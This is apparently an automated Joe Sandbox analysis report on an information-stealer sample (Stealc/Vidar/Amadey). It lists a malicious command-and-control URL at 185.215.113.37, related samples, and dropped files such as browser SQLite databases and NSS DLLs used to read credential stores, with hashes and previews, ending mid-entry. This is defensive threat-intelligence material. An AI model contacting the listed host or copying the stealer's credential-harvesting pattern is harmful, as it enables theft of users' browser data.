http://185.215.113.37/e2b1563c6670f193.php.	file.exe, 00000000.00000002.2251150787.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php(	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518589
Start date and time:	2024-09-25 21:51:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	yKdUWqd0Gs.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	nZ0aiGjW9V.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	wkoozurOWo.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	86aY1jzemK.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	iubXkDP5lk.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	IWXaKkm4pm.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	isiihLLJJr.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	yKdUWqd0Gs.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	7l2s6qwHg7.exe	Get hash	malicious	RedLine	Browse	185.215.113.9
	nZ0aiGjW9V.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	wkoozurOWo.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	86aY1jzemK.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	iubXkDP5lk.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	yjzllYsjlU.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	IWXaKkm4pm.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p3aYwXKO5T.exe	Get hash	malicious	Amadey	Browse	185.215.113.43

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	86aY1jzemK.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIEGIECGCBKFIEBGCAAFIEBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBKKECFHJKEBKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCAKKKFBGDGCAKFCFHDAKFHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGIDGCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDBAECGCAFHJJDAKFHJJEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBGDGCGDAKFIDGIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJDAFHJDHIEBGCFIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JKJDAEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 86aY1jzemK.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
